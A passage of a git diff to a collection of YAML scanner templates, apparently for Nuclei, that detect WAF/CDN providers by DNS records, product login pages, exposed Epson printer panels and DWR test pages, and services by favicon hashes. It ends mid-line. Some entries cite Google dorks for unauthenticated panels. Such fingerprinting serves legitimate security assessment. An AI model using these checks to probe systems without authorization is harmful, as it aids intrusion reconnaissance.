"{{FQDN}}" - type: CNAME - - - name: "{{FQDN}}" - type: NS - - matchers: - - type: word - name: sanfor-shield - words: - - ".sangfordns.com" - - - type: word - name: 360panyun - words: - - ".360panyun.com" - - - type: word - name: baiduyun - words: - - ".yunjiasu-cdn.net" - - - type: word - name: chuangyudun - words: - - ".365cyd.cn" - - ".cyudun.net" - - - type: word - name: knownsec - words: - - ".jiashule.com" - - ".jiasule.org" - - - type: word - name: huaweicloud - words: - - ".huaweicloudwaf.com" - - - type: word - name: xinliuyun - words: - - ".ngaagslb.cn" - - - type: word - name: chinacache - words: - - ".chinacache.net" - - ".ccgslb.net" - - - type: word - name: nscloudwaf - words: - - ".nscloudwaf.com" - - - type: word - name: wangsu - words: - - ".wsssec.com" - - ".lxdns.com" - - ".wscdns.com" - - ".cdn20.com" - - ".cdn30.com" - - ".ourplat.net" - - ".wsdvs.com" - - ".wsglb0.com" - - ".wswebcdn.com" - - ".wswebpic.com" - - ".wsssec.com" - - ".wscloudcdn.com" - - ".mwcloudcdn.com" - - - type: word - name: qianxin - words: - - ".360safedns.com" - - ".360cloudwaf.com" - - - type: word - name: baiduyunjiasu - words: - - ".yunjiasu-cdn.net" - - - type: word - name: anquanbao - words: - - ".anquanbao.net" - - - type: regex - name: aliyun - regex: - - '\.w\.kunlun\w{2,3}\.com' - - - type: regex - name: aliyun-waf - regex: - - '\.aliyunddos\d+\.com' - - '\.aliyunwaf\.com' - - '\.aligaofang\.com' - - '\.aliyundunwaf\.com' - - - type: word - name: xuanwudun - words: - - ".saaswaf.com" - - ".dbappwaf.cn" - - - type: word - name: yundun - words: - - ".hwwsdns.cn" - - ".yunduncname.com" - - - type: word - name: knownsec-ns - words: - - ".jiasule.net" - - - type: word - name: chuangyudun - words: - - ".365cyd.net" - - - type: word - name: qianxin - words: - - ".360wzb.com" - - - type: word - name: anquanbao - words: - - ".anquanbao.com" - - - type: word - name: wangsu - words: - - ".chinanetcenter.com" - - - type: word - name: baiduyunjiasue - words: - - ".ns.yunjiasu.com" - - - type: word - name: chinacache - words: - - ".chinacache.com" - - - type: word - name: cloudflare - words: - - "ns.cloudflare.com" - - - type: word - name: edns - words: - - ".iidns.com" - -# Enhanced by mp on 2022/03/13 diff --git a/poc/detect/dns-waf-detect.yaml b/poc/detect/dns-waf-detect.yaml index bdd9b4b38d..05aaa5c995 100644 --- a/poc/detect/dns-waf-detect.yaml +++ b/poc/detect/dns-waf-detect.yaml @@ -1,55 +1,82 @@ id: dns-waf-detect + info: name: DNS WAF Detection author: lu4nx severity: info + description: A DNS WAF was detected. + classification: + cwe-id: CWE-200 + metadata: + max-request: 2 tags: tech,waf,dns + dns: - name: "{{FQDN}}" type: CNAME + - name: "{{FQDN}}" type: NS matchers: - type: word + part: answer name: sanfor-shield words: - ".sangfordns.com" + - type: word + part: answer name: 360panyun words: - ".360panyun.com" + - type: word + part: answer name: baiduyun words: - ".yunjiasu-cdn.net" + - type: word + part: answer name: chuangyudun words: - ".365cyd.cn" - ".cyudun.net" + - type: word + part: answer name: knownsec words: - ".jiashule.com" - ".jiasule.org" + - type: word + part: answer name: huaweicloud words: - ".huaweicloudwaf.com" + - type: word + part: answer name: xinliuyun words: - ".ngaagslb.cn" + - type: word + part: answer name: chinacache words: - ".chinacache.net" - ".ccgslb.net" + - type: word + part: answer name: nscloudwaf words: - ".nscloudwaf.com" + - type: word + part: answer name: wangsu words: - ".wsssec.com" @@ -65,23 +92,31 @@ dns: - ".wsssec.com" - ".wscloudcdn.com" - ".mwcloudcdn.com" + - type: word + part: answer name: qianxin words: - ".360safedns.com" - ".360cloudwaf.com" + - type: word + part: answer name: baiduyunjiasu words: - ".yunjiasu-cdn.net" + - type: word + part: answer name: anquanbao words: - ".anquanbao.net" + - type: regex name: aliyun regex: - '\.w\.kunlun\w{2,3}\.com' + - type: regex name: aliyun-waf regex: @@ -89,49 +124,73 @@ dns: - '\.aliyunwaf\.com' - '\.aligaofang\.com' - '\.aliyundunwaf\.com' + - type: word + part: answer name: xuanwudun words: - ".saaswaf.com" - ".dbappwaf.cn" + - type: word + part: answer name: yundun words: - ".hwwsdns.cn" - ".yunduncname.com" + - type: word + part: answer name: knownsec-ns words: - ".jiasule.net" + - type: word + part: answer name: chuangyudun words: - ".365cyd.net" + - type: word + part: answer name: qianxin words: - ".360wzb.com" + - type: word + part: answer name: anquanbao words: - ".anquanbao.com" + - type: word + part: answer name: wangsu words: - ".chinanetcenter.com" + - type: word + part: answer name: baiduyunjiasue words: - ".ns.yunjiasu.com" + - type: word + part: answer name: chinacache words: - ".chinacache.com" + - type: word + part: answer name: cloudflare words: - "ns.cloudflare.com" + - type: word + part: answer name: edns words: - ".iidns.com" + +# digest: 4a0a0047304502200a845666375d02a84b9b0a1b56465d375357774b8c0c3a044dccf1e02fbf6267022100bf5e4f34f8e41d1cf13880ed6760c273df09e408a6d0c53c335dceeadac76182:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/dolibarr-detect-7069.yaml b/poc/detect/dolibarr-detect-7069.yaml new file mode 100644 index 0000000000..77a8f82fdc --- /dev/null +++ b/poc/detect/dolibarr-detect-7069.yaml @@ -0,0 +1,25 @@ +id: dolibarr-detect + +info: + name: Dolibarr detect + author: pikpikcu + severity: info + tags: tech,dolibarr + +requests: + - method: GET + path: + - "{{BaseURL}}" + + matchers: + - type: regex + part: body + regex: + - 'Dolibarr - Login Dolibarr(.*)' + + extractors: + - type: regex + part: body + group: 1 + regex: + - 'center">(.*)' diff --git a/poc/detect/dolibarr-detect-7071.yaml b/poc/detect/dolibarr-detect-7071.yaml index 77a8f82fdc..92f6888c0a 100644 --- a/poc/detect/dolibarr-detect-7071.yaml +++ b/poc/detect/dolibarr-detect-7071.yaml @@ -1,25 +1,25 @@ -id: dolibarr-detect - -info: - name: Dolibarr detect - author: pikpikcu - severity: info - tags: tech,dolibarr - -requests: - - method: GET - path: - - "{{BaseURL}}" - - matchers: - - type: regex - part: body - regex: - - 'Dolibarr - Login Dolibarr(.*)' - - extractors: - - type: regex - part: body - group: 1 - regex: - - 'center">(.*)' +id: dolibarr-detect + +info: + name: Dolibarr detect + author: pikpikcu + severity: info + tags: tech,dolibarr + +requests: + - method: GET + path: + - "{{BaseURL}}" + + matchers: + - type: regex + part: body + regex: + - 'Dolibarr - Login Dolibarr(.*)' + + extractors: + - type: regex + part: body + group: 1 + regex: + - 'center">(.*)' diff --git a/poc/detect/dwr-index-detect-7134.yaml b/poc/detect/dwr-index-detect-7134.yaml index 91767bf3cb..4acfc9423a 100644 --- a/poc/detect/dwr-index-detect-7134.yaml +++ b/poc/detect/dwr-index-detect-7134.yaml @@ -1,24 +1,27 @@ id: dwr-index-detect + info: name: DWR detect test page detection author: pussycat0x severity: low description: The index contains the list of exposed Java classes. From here one can navigate to the test page of each class where every callable method is described and can be easily tested. This is a great way to find out what methods are exposed and learn how they function. - reference: - - http://aetherlab.net/2012/09/experiences-in-pentesting-dwr/ + reference: http://aetherlab.net/2012/09/experiences-in-pentesting-dwr/ metadata: google-dork: intitle:"DWR Test Index" tags: tech,misconfig,dwr + requests: - method: GET path: - '{{BaseURL}}/dwr/index.html' + matchers-condition: and matchers: - type: word part: body words: - "DWR Test Index" + - type: status status: - 200 diff --git a/poc/detect/dwr-index-detect-7136.yaml b/poc/detect/dwr-index-detect-7136.yaml index 4acfc9423a..d01ea78791 100644 --- a/poc/detect/dwr-index-detect-7136.yaml +++ b/poc/detect/dwr-index-detect-7136.yaml @@ -1,5 +1,4 @@ id: dwr-index-detect - info: name: DWR detect test page detection author: pussycat0x @@ -9,19 +8,16 @@ info: metadata: google-dork: intitle:"DWR Test Index" tags: tech,misconfig,dwr - requests: - method: GET path: - '{{BaseURL}}/dwr/index.html' - matchers-condition: and matchers: - type: word part: body words: - "DWR Test Index" - - type: status status: - 200 diff --git a/poc/detect/ec2-detection-7161.yaml b/poc/detect/ec2-detection-7161.yaml index 2c3025f2eb..f8f9b9a950 100644 --- a/poc/detect/ec2-detection-7161.yaml +++ b/poc/detect/ec2-detection-7161.yaml @@ -10,6 +10,9 @@ info: dns: - name: "{{FQDN}}" type: CNAME + class: inet + recursion: true + retries: 2 extractors: - type: regex diff --git a/poc/detect/ec2-detection-7162.yaml b/poc/detect/ec2-detection-7162.yaml new file mode 100644 index 0000000000..2c3025f2eb --- /dev/null +++ b/poc/detect/ec2-detection-7162.yaml @@ -0,0 +1,18 @@ +id: ec2-detection + +info: + name: AWS EC2 detection + author: melbadry9 + severity: info + tags: dns,ec2,aws + reference: https://blog.melbadry9.xyz/dangling-dns/aws/ddns-ec2-current-state + +dns: + - name: "{{FQDN}}" + type: CNAME + + extractors: + - type: regex + regex: + - "ec2-[-\\d]+\\.compute[-\\d]*\\.amazonaws\\.com" + - "ec2-[-\\d]+\\.[\\w\\d\\-]+\\.compute[-\\d]*\\.amazonaws\\.com" diff --git a/poc/detect/ec2-detection-7163.yaml b/poc/detect/ec2-detection.yaml similarity index 100% rename from poc/detect/ec2-detection-7163.yaml rename to poc/detect/ec2-detection.yaml diff --git a/poc/detect/eg-manager-detect-7183.yaml b/poc/detect/eg-manager-detect-7183.yaml deleted file mode 100644 index a4b158433e..0000000000 --- a/poc/detect/eg-manager-detect-7183.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: eg-manager-detect - -info: - name: eG Manager Detect - author: pikpikcu - severity: info - tags: tech,eg - -requests: - - method: GET - path: - - "{{BaseURL}}/final/" - - matchers-condition: and - matchers: - - - type: word - part: body - words: - - " eG Innovations, Inc." - - "eG Innovations, Inc. All Rights Reserved" - - - type: status - status: - - 200 diff --git a/poc/detect/eg-manager-detect-7184.yaml b/poc/detect/eg-manager-detect-7184.yaml index 11e66119d2..a4b158433e 100644 --- a/poc/detect/eg-manager-detect-7184.yaml +++ b/poc/detect/eg-manager-detect-7184.yaml @@ -4,17 +4,16 @@ info: name: eG Manager Detect author: pikpikcu severity: info - metadata: - max-request: 1 tags: tech,eg -http: +requests: - method: GET path: - "{{BaseURL}}/final/" matchers-condition: and matchers: + - type: word part: body words: @@ -24,5 +23,3 @@ http: - type: status status: - 200 - -# digest: 4b0a00483046022100a78599ad1dbd3eed33dc08e8669193a0ffa95b757f657ce30e818277440292d6022100b39d26e0f224e356cbbfaf3f8e500dc87ef0c49adbde3b818f459aa7197f6be3:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/elasticsearch-sql-client-detect-7190.yaml b/poc/detect/elasticsearch-sql-client-detect-7190.yaml index 1cd75fc9ba..e075189456 100644 --- a/poc/detect/elasticsearch-sql-client-detect-7190.yaml +++ b/poc/detect/elasticsearch-sql-client-detect-7190.yaml @@ -1,16 +1,12 @@ id: elasticsearch-sql-client-detect - info: - name: Elasticsearch - SQL Client Detection + name: Elasticsearch SQL Client Detect author: pussycat0x severity: low - description: Elasticsearch detected SQL client. - metadata: - max-request: 1 - shodan-query: http.title:"Elasticsearch-sql client" + reference: https://www.shodan.io/search?query=http.title%3A%22Elasticsearch-sql+client%22 tags: elasticsearch,tech,sql -http: +requests: - method: GET path: - '{{BaseURL}}' @@ -25,5 +21,3 @@ http: - type: status status: - 200 - -# digest: 490a004630440220276e96734ee9717940ec0f594e445b97d2a87382586b66013d5d53da6eb0c7bf0220305a0bb73e6413ee0b510ff3339532e683b201600f1363c4a8e917c6b41eab47:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/elasticsearch-sql-client-detect-7191.yaml b/poc/detect/elasticsearch-sql-client-detect.yaml similarity index 100% rename from poc/detect/elasticsearch-sql-client-detect-7191.yaml rename to poc/detect/elasticsearch-sql-client-detect.yaml diff --git a/poc/detect/electron-version-detect.yaml b/poc/detect/electron-version-detect.yaml index 26392dc930..e62244eac0 100644 --- a/poc/detect/electron-version-detect.yaml +++ b/poc/detect/electron-version-detect.yaml @@ -1,12 +1,16 @@ id: electron-version-detect info: - name: Electron Version Detect + name: Electron Version - Detect author: me9187 severity: info + reference: + - https://www.electronjs.org/blog/chromium-rce-vulnerability/ + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 tags: electron,file - reference: https://www.electronjs.org/blog/chromium-rce-vulnerability/ - file: - extensions: - json @@ -15,3 +19,5 @@ file: - type: regex regex: - '"electronVersion":"[^"]*"' + +# digest: 4b0a00483046022100a04f77fdda5916ff33b294ee3addb5451db77585a39ae8673f4cdfed08974d7b022100d421b8bd0600e4310c8ef55ea0b2a18771258f3c6c6ab884e8d661a6965c3112:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/elfinder-detect-7202.yaml b/poc/detect/elfinder-detect-7202.yaml index 4b2dbbccc8..cb528067a0 100644 --- a/poc/detect/elfinder-detect-7202.yaml +++ b/poc/detect/elfinder-detect-7202.yaml @@ -1,21 +1,28 @@ id: elfinder-detect info: - name: elFinder Detect + name: elFinder - Install Detection author: pikpikcu severity: info + description: An elFinder implementation was discovered. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 + metadata: + max-request: 2 tags: tech,elfinder -requests: +http: - method: GET path: - "{{BaseURL}}" - "{{BaseURL}}/elfinder.html" stop-at-first-match: true + matchers-condition: and matchers: - - type: word part: body words: @@ -24,3 +31,5 @@ requests: - type: status status: - 200 + +# digest: 4a0a00473045022100a977f846f68ffff169d23e372dda50bc7dd90f5fc99a1eef4548fc1d58052f3c022031a0b6c4a4748f3036ff100ccb618b387e51ff685c3f44068334d18090d72a17:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/elfinder-detect.yaml b/poc/detect/elfinder-detect.yaml deleted file mode 100644 index 19b8860ede..0000000000 --- a/poc/detect/elfinder-detect.yaml +++ /dev/null @@ -1,21 +0,0 @@ -id: elfinder-detect -info: - name: elFinder Detect - author: pikpikcu - severity: info - tags: tech,elfinder -requests: - - method: GET - path: - - "{{BaseURL}}" - - "{{BaseURL}}/elfinder.html" - stop-at-first-match: true - matchers-condition: and - matchers: - - type: word - part: body - words: - - "" - - type: status - status: - - 200 diff --git a/poc/detect/epson-access-detect-7236.yaml b/poc/detect/epson-access-detect-7236.yaml new file mode 100644 index 0000000000..c350c8afd1 --- /dev/null +++ b/poc/detect/epson-access-detect-7236.yaml @@ -0,0 +1,32 @@ +id: epson-access-detect + +info: + name: Epson Printer Unauthorized Access Detect + author: pussycat0x + severity: medium + reference: https://www.exploit-db.com/ghdb/6922 + tags: iot,printer,panel,unauth,epson + +requests: + - method: GET + path: + - "{{BaseURL}}/PRESENTATION/EPSONCONNECT" + + matchers-condition: and + matchers: + - type: word + words: + - "Epson Connect" + - "/IMAGE/EPSONLOGO.PNG" + condition: and + + - type: status + status: + - 200 + + extractors: + - type: regex + part: body + group: 1 + regex: + - "([A-Z-0-9]+) Series" diff --git a/poc/detect/epson-access-detect.yaml b/poc/detect/epson-access-detect.yaml index c350c8afd1..96a933040a 100644 --- a/poc/detect/epson-access-detect.yaml +++ b/poc/detect/epson-access-detect.yaml @@ -1,17 +1,19 @@ id: epson-access-detect - info: - name: Epson Printer Unauthorized Access Detect + name: Epson Device Unauthorized Access Detect author: pussycat0x severity: medium + description: A publicly available Epson device panel (printer, scanner, etc.) was detected. reference: https://www.exploit-db.com/ghdb/6922 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N + cvss-score: 5.8 + cwe-id: CWE-522 tags: iot,printer,panel,unauth,epson - requests: - method: GET path: - "{{BaseURL}}/PRESENTATION/EPSONCONNECT" - matchers-condition: and matchers: - type: word @@ -19,14 +21,14 @@ requests: - "Epson Connect" - "/IMAGE/EPSONLOGO.PNG" condition: and - - type: status status: - 200 - extractors: - type: regex part: body group: 1 regex: - "([A-Z-0-9]+) Series" + +# Enhanced by mp on 2022/03/24 diff --git a/poc/detect/epson-web-control-detect-7242.yaml b/poc/detect/epson-web-control-detect-7242.yaml index 16f5972231..c1d61ac8e0 100644 --- a/poc/detect/epson-web-control-detect-7242.yaml +++ b/poc/detect/epson-web-control-detect-7242.yaml @@ -3,14 +3,17 @@ info: name: Epson Printer author: pussycat0x severity: info + description: An Epson printer web panel was discovered. reference: https://www.exploit-db.com/ghdb/6873 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0.0 + cwe-id: CWE-200 tags: iot,printer,panel,unauth,epson - requests: - method: GET path: - "{{BaseURL}}/cgi-bin/home" - matchers-condition: and matchers: - type: word @@ -19,7 +22,8 @@ requests: - "Basic Control" - "Advanced" condition: and - - type: status status: - 200 + +# Enhanced by mp on 2022/03/24 diff --git a/poc/detect/epson-web-control-detect.yaml b/poc/detect/epson-web-control-detect.yaml deleted file mode 100644 index c1d61ac8e0..0000000000 --- a/poc/detect/epson-web-control-detect.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: epson-web-control-detect -info: - name: Epson Printer - author: pussycat0x - severity: info - description: An Epson printer web panel was discovered. - reference: https://www.exploit-db.com/ghdb/6873 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0.0 - cwe-id: CWE-200 - tags: iot,printer,panel,unauth,epson -requests: - - method: GET - path: - - "{{BaseURL}}/cgi-bin/home" - matchers-condition: and - matchers: - - type: word - words: - - "Epson Web Control" - - "Basic Control" - - "Advanced" - condition: and - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/24 diff --git a/poc/detect/erxes-detect.yaml b/poc/detect/erxes-detect.yaml new file mode 100644 index 0000000000..ba864b7aeb --- /dev/null +++ b/poc/detect/erxes-detect.yaml @@ -0,0 +1,28 @@ +id: erxes-detect + +info: + name: Erxes Detect + author: princechaddha + severity: info + metadata: + max-request: 1 + shodan-query: http.title:"erxes" + tags: tech,erxes + +http: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "erxes(.*)" + + - type: status + status: + - 200 + +# digest: 490a0046304402203e7fbb27612e353634499f024cd22a202f473e4810f44a021ab3a8809014e34d02201069dd99e4446b14321d7091201fe3ccdbb5378dd74cce0013f971e1653fa951:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/fanruanoa-detect-7391.yaml b/poc/detect/fanruanoa-detect-7391.yaml index a69b7141a3..52ab6ec6ad 100644 --- a/poc/detect/fanruanoa-detect-7391.yaml +++ b/poc/detect/fanruanoa-detect-7391.yaml @@ -4,26 +4,20 @@ info: name: FanRuanOA-detect author: YanYun severity: info - metadata: - max-request: 2 tags: oa,tech,dotnet,fanruan -http: +requests: - method: GET + path: - "{{BaseURL}}/WebReport/ReportServer" - "{{BaseURL}}/ReportServer" - stop-at-first-match: true - matchers-condition: and matchers: - type: status status: - 200 - - type: word words: - - 'DeploySuccess._init' - -# digest: 490a00463044022051e8212a2ef1e6df9ea1d448a5997139e96bf36a47159d4ff51afb94c13e2fde022058db899b9159804d42d4a1ae532d8242b6c36d531ebd844325cae277a75f2476:922c64590222798bb761d5b6d8e72950 + - 'DeploySuccess._init' \ No newline at end of file diff --git a/poc/detect/fanruanoa-detect-7392.yaml b/poc/detect/fanruanoa-detect.yaml similarity index 100% rename from poc/detect/fanruanoa-detect-7392.yaml rename to poc/detect/fanruanoa-detect.yaml diff --git a/poc/detect/fatpipe-mpvpn-detect-7437.yaml b/poc/detect/fatpipe-mpvpn-detect-7437.yaml deleted file mode 100644 index f1d722039e..0000000000 --- a/poc/detect/fatpipe-mpvpn-detect-7437.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: fatpipe-mpvpn-detect - -info: - name: FatPipe MPVPN Detect - author: princechaddha - severity: info - tags: tech,fatpipe - -requests: - - method: GET - path: - - "{{BaseURL}}/fpui/jsp/login.jsp" - - matchers-condition: and - matchers: - - - type: word - part: body - words: - - "FatPipe MPVPN | Log in" - - - type: status - status: - - 200 - - extractors: - - type: regex - part: body - group: 1 - regex: - - '

([0-9.a-z]+)<\/h5>' diff --git a/poc/detect/fatpipe-mpvpn-detect.yaml b/poc/detect/fatpipe-mpvpn-detect.yaml index c09e98e3de..f1d722039e 100644 --- a/poc/detect/fatpipe-mpvpn-detect.yaml +++ b/poc/detect/fatpipe-mpvpn-detect.yaml @@ -6,16 +6,11 @@ info: severity: info tags: tech,fatpipe - requests: - - raw: - - | - GET /fpui/jsp/login.jsp HTTP/1.1 - Host: {{Hostname}} - User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 - Accept-Encoding: gzip, deflate - Accept: */* - + - method: GET + path: + - "{{BaseURL}}/fpui/jsp/login.jsp" + matchers-condition: and matchers: diff --git a/poc/detect/fatpipe-warp-detect-7439.yaml b/poc/detect/fatpipe-warp-detect-7439.yaml new file mode 100644 index 0000000000..1659434b60 --- /dev/null +++ b/poc/detect/fatpipe-warp-detect-7439.yaml @@ -0,0 +1,31 @@ +id: fatpipe-warp-detect + +info: + name: FatPipe WARP Detect + author: princechaddha + severity: info + tags: tech,fatpipe + +requests: + - method: GET + path: + - "{{BaseURL}}/fpui/jsp/login.jsp" + + matchers-condition: and + matchers: + + - type: word + part: body + words: + - "FatPipe WARP | Log in" + + - type: status + status: + - 200 + + extractors: + - type: regex + part: body + group: 1 + regex: + - '
([0-9.a-z]+)<\/h5>' diff --git a/poc/detect/fatpipe-warp-detect.yaml b/poc/detect/fatpipe-warp-detect.yaml index 1659434b60..b4f84507a7 100644 --- a/poc/detect/fatpipe-warp-detect.yaml +++ b/poc/detect/fatpipe-warp-detect.yaml @@ -6,11 +6,16 @@ info: severity: info tags: tech,fatpipe -requests: - - method: GET - path: - - "{{BaseURL}}/fpui/jsp/login.jsp" +requests: + - raw: + - | + GET /fpui/jsp/login.jsp HTTP/1.1 + Host: {{Hostname}} + User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 + Accept-Encoding: gzip, deflate + Accept: */* + matchers-condition: and matchers: diff --git a/poc/detect/favicon-detection-7441.yaml b/poc/detect/favicon-detection-7441.yaml deleted file mode 100644 index 624f917a05..0000000000 --- a/poc/detect/favicon-detection-7441.yaml +++ /dev/null @@ -1,2026 +0,0 @@ -id: favicon-detection - -info: - name: favicon-detection - severity: info - author: un-fmunozs - reference: | - - https://twitter.com/brsn76945860/status/1171233054951501824 - - https://gist.github.com/yehgdotnet/b9dfc618108d2f05845c4d8e28c5fc6a - - https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139 - - https://github.com/devanshbatham/FavFreak - - https://github.com/sansatart/scrapts/blob/master/shodan-favicon-hashes.csv - -requests: - - method: GET - path: - - "{{BaseURL}}/favicon.ico" - - redirects: true - max-redirects: 2 - - matchers: - - type: dsl - name: proxmox - dsl: - - "len(body)==2336 && status_code==200 && (\"02f4db63a9cfb650c05ffd82956cbfd6\" == md5(body))" - - type: dsl - name: blogger - dsl: - - "len(body)==3638 && status_code==200 && (\"59a0c7b6e4848ccdabcea0636efda02b\" == md5(body))" - - type: dsl - name: oracle - dsl: - - "len(body)==1150 && status_code==200 && (\"421e176ae0837bcc6b879ef55adbc897\" == md5(body))" - - type: dsl - name: hitachi - dsl: - - "len(body)==894 && status_code==200 && (\"41e9c43dc5e994ca7a40f4f92b50d01d\" == md5(body))" - - type: dsl - name: meinberg - dsl: - - "len(body)==1406 && status_code==200 && (\"4b2524b4f28eac7d0e872b0e1323c02d\" == md5(body))" - - type: dsl - name: "slack-instance" - dsl: - - "status_code==200 && (\"99395752\" == mmh3(base64_py(body)))" - - type: dsl - name: "spring-boot" - dsl: - - "status_code==200 && (\"116323821\" == mmh3(base64_py(body)))" - - type: dsl - name: "jenkins" - dsl: - - "status_code==200 && (\"81586312\" == mmh3(base64_py(body)))" - - type: dsl - name: "cnservers-llc" - dsl: - - "status_code==200 && (\"-235701012\" == mmh3(base64_py(body)))" - - type: dsl - name: "atlassian" - dsl: - - "status_code==200 && (\"743365239\" == mmh3(base64_py(body)))" - - type: dsl - name: "chainpoint" - dsl: - - "status_code==200 && (\"2128230701\" == mmh3(base64_py(body)))" - - type: dsl - name: "lacie" - dsl: - - "status_code==200 && (\"-1277814690\" == mmh3(base64_py(body)))" - - type: dsl - name: "parse" - dsl: - - "status_code==200 && (\"246145559\" == mmh3(base64_py(body)))" - - type: dsl - name: "atlassian" - dsl: - - "status_code==200 && (\"628535358\" == mmh3(base64_py(body)))" - - type: dsl - name: "jira" - dsl: - - "status_code==200 && (\"855273746\" == mmh3(base64_py(body)))" - - type: dsl - name: "avigilon" - dsl: - - "status_code==200 && (\"1318124267\" == mmh3(base64_py(body)))" - - type: dsl - name: "atlassian-confluence" - dsl: - - "status_code==200 && (\"-305179312\" == mmh3(base64_py(body)))" - - type: dsl - name: "openstack" - dsl: - - "status_code==200 && (\"786533217\" == mmh3(base64_py(body)))" - - type: dsl - name: "pi-star" - dsl: - - "status_code==200 && (\"432733105\" == mmh3(base64_py(body)))" - - type: dsl - name: "atlassian" - dsl: - - "status_code==200 && (\"705143395\" == mmh3(base64_py(body)))" - - type: dsl - name: "angular-io-angularjs" - dsl: - - "status_code==200 && (\"-1255347784\" == mmh3(base64_py(body)))" - - type: dsl - name: "xampp" - dsl: - - "status_code==200 && (\"-1275226814\" == mmh3(base64_py(body)))" - - type: dsl - name: "react" - dsl: - - "status_code==200 && (\"-2009722838\" == mmh3(base64_py(body)))" - - type: dsl - name: "atlassian-jira" - dsl: - - "status_code==200 && (\"981867722\" == mmh3(base64_py(body)))" - - type: dsl - name: "openstack" - dsl: - - "status_code==200 && (\"-923088984\" == mmh3(base64_py(body)))" - - type: dsl - name: "aplikasi" - dsl: - - "status_code==200 && (\"494866796\" == mmh3(base64_py(body)))" - - type: dsl - name: "ubiquiti-aircube" - dsl: - - "status_code==200 && (\"1249285083\" == mmh3(base64_py(body)))" - - type: dsl - name: "atlassian-bamboo" - dsl: - - "status_code==200 && (\"-1379982221\" == mmh3(base64_py(body)))" - - type: dsl - name: "exostar-managed-access-gateway" - dsl: - - "status_code==200 && (\"420473080\" == mmh3(base64_py(body)))" - - type: dsl - name: "atlassian-confluence" - dsl: - - "status_code==200 && (\"-1642532491\" == mmh3(base64_py(body)))" - - type: dsl - name: "cisco-meraki" - dsl: - - "status_code==200 && (\"163842882\" == mmh3(base64_py(body)))" - - type: dsl - name: "archivematica" - dsl: - - "status_code==200 && (\"-1378182799\" == mmh3(base64_py(body)))" - - type: dsl - name: "tcn" - dsl: - - "status_code==200 && (\"-702384832\" == mmh3(base64_py(body)))" - - type: dsl - name: "cx" - dsl: - - "status_code==200 && (\"-532394952\" == mmh3(base64_py(body)))" - - type: dsl - name: "ace" - dsl: - - "status_code==200 && (\"-183163807\" == mmh3(base64_py(body)))" - - type: dsl - name: "atlassian-jira" - dsl: - - "status_code==200 && (\"552727997\" == mmh3(base64_py(body)))" - - type: dsl - name: "netdata" - dsl: - - "status_code==200 && (\"1302486561\" == mmh3(base64_py(body)))" - - type: dsl - name: "opengeo-suite" - dsl: - - "status_code==200 && (\"-609520537\" == mmh3(base64_py(body)))" - - type: dsl - name: "dgraph-ratel" - dsl: - - "status_code==200 && (\"-1961046099\" == mmh3(base64_py(body)))" - - type: dsl - name: "atlassian-jira" - dsl: - - "status_code==200 && (\"-1581907337\" == mmh3(base64_py(body)))" - - type: dsl - name: "material-dashboard" - dsl: - - "status_code==200 && (\"1913538826\" == mmh3(base64_py(body)))" - - type: dsl - name: "form.io" - dsl: - - "status_code==200 && (\"1319699698\" == mmh3(base64_py(body)))" - - type: dsl - name: "kubeflow" - dsl: - - "status_code==200 && (\"-1203021870\" == mmh3(base64_py(body)))" - - type: dsl - name: "netdata-dashboard" - dsl: - - "status_code==200 && (\"-182423204\" == mmh3(base64_py(body)))" - - type: dsl - name: "caprover" - dsl: - - "status_code==200 && (\"988422585\" == mmh3(base64_py(body)))" - - type: dsl - name: "wijungle" - dsl: - - "status_code==200 && (\"2113497004\" == mmh3(base64_py(body)))" - - type: dsl - name: "onera" - dsl: - - "status_code==200 && (\"1234311970\" == mmh3(base64_py(body)))" - - type: dsl - name: "smartping" - dsl: - - "status_code==200 && (\"430582574\" == mmh3(base64_py(body)))" - - type: dsl - name: "openstack" - dsl: - - "status_code==200 && (\"1232596212\" == mmh3(base64_py(body)))" - - type: dsl - name: "netdata-dashboard" - dsl: - - "status_code==200 && (\"1585145626\" == mmh3(base64_py(body)))" - - type: dsl - name: "fritz!box" - dsl: - - "status_code==200 && (\"-219752612\" == mmh3(base64_py(body)))" - - type: dsl - name: "ubiquiti-airos" - dsl: - - "status_code==200 && (\"-697231354\" == mmh3(base64_py(body)))" - - type: dsl - name: "fortinet-forticlient" - dsl: - - "status_code==200 && (\"945408572\" == mmh3(base64_py(body)))" - - type: dsl - name: "outlook-web-application" - dsl: - - "status_code==200 && (\"1768726119\" == mmh3(base64_py(body)))" - - type: dsl - name: "huawei-claro" - dsl: - - "status_code==200 && (\"2109473187\" == mmh3(base64_py(body)))" - - type: dsl - name: "asus-aicloud" - dsl: - - "status_code==200 && (\"552592949\" == mmh3(base64_py(body)))" - - type: dsl - name: "sonicwall" - dsl: - - "status_code==200 && (\"631108382\" == mmh3(base64_py(body)))" - - type: dsl - name: "google" - dsl: - - "status_code==200 && (\"708578229\" == mmh3(base64_py(body)))" - - type: dsl - name: "plesk" - dsl: - - "status_code==200 && (\"-134375033\" == mmh3(base64_py(body)))" - - type: dsl - name: "dahua-storm-ip-camera" - dsl: - - "status_code==200 && (\"2019488876\" == 